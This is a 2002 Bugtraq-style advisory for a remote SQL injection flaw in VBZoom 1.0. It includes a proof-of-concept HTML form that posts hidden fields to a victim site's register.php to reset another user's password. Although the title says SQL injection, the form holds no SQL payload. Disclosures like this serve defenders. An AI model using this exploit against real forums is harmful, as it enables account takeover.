VBZoom Remote SQL Injection Vulnerability

Bugtraq ID:	5919
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 08 2002 12:00AM
Updated:	Oct 08 2002 12:00AM
Credit:	Discovery credited to hish _ hish.
Vulnerable:	VBZoom VBZoom 1.0 1
Not Vulnerable:

VBZoom Remote SQL Injection Vulnerability

The following proof of concept has been supplied by hish _ hish:

Exploit code
**************
<form name="f1" action="http://www.victim.com/vbzoom/register.php"
method="POST">
<input type="hidden" name="ChangeProfile" value="1">
User Name: <input type="text" name="UserName"><br>
Password: <input type="text" name="Password"><br>
Email: <input type="text" name="Email">
<input type="hidden" name="HomePage" value="lamerZ">
<input type="hidden" name="VBZooMForumCookiesUserName" value="false">
<input type="hidden" name="VBZooMForumCookiesUserName" value="false">
<input type="submit" value="reset password">
</form>

VBZoom Remote SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.